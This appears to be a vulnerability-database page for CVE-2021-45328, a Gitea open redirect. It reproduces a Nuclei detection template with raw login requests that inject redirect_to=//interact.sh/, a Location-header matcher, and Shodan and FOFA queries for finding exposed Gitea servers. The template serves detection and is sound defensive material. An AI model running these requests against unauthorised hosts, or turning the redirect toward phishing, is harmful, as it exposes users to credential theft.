Gitea < 1.4.3 - Open Redirect
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| CVE-2021-45328 | 8 Feb 202216:15 | – | attackerkb | |
| Gitea Open Redirection | 2 May 202300:00 | – | bdu_fstec | |
| CVE-2021-45328 | 8 Feb 202218:36 | – | circl | |
| Gitea: Input validation error vulnerability | 8 Feb 202200:00 | – | cnnvd | |
| Gitea Input Validation Error Vulnerability | 11 Feb 202200:00 | – | cnvd | |
| CVE-2021-45328 | 8 Feb 202215:14 | – | cve | |
| CVE-2021-45328 | 8 Feb 202215:14 | – | cvelist | |
| EUVD-2022-0778 | 3 Oct 202520:07 | – | euvd | |
| Open redirect in Gitea | 9 Feb 202200:00 | – | github | |
| CVE-2021-45328 | 8 Feb 202215:14 | – | mend |
10
id: CVE-2021-45328
info:
name: Gitea < 1.4.3 - Open Redirect
author: ritikchaddha
severity: medium
description: |
Gitea before version 1.4.3 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
remediation: |
Upgrade Gitea to version 1.4.3 or later to fix the open redirect vulnerability.
reference:
- https://github.com/go-gitea/gitea/issues/4332
- https://nvd.nist.gov/vuln/detail/CVE-2021-45328
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-45328
cwe-id: CWE-601
epss-score: 0.00944
epss-percentile: 0.60681
cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: gitea
product: gitea
shodan-query:
- title:"Gitea"
- http.html:"powered by gitea version"
- http.title:"gitea"
- cpe:"cpe:2.3:a:gitea:gitea"
fofa-query:
- body="powered by gitea version"
- title="gitea"
google-query: intitle:"gitea"
tags: cve,cve2021,redirect,gitea
http:
- raw:
- |
GET /user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: redirect_to=//interact.sh/
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
matchers-condition: and
matchers:
- type: regex
part: header_2
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
- type: status
status:
- 302
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="_csrf" value="(.*)"'
internal: true
# digest: 490a004630440220609ead4ae28ef940c670b5f3a88d18431b43715f0e9bd3ab72d83c78126206c10220467ee71d6417ab4b1a61088cef90a442c3a00075be42719b2bcd5ba44e015809:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Apr 2026 17:43Current
6.5Medium risk
Vulners AI Score6.5
CVSS 25.8
CVSS 3.16.1
EPSS0.00944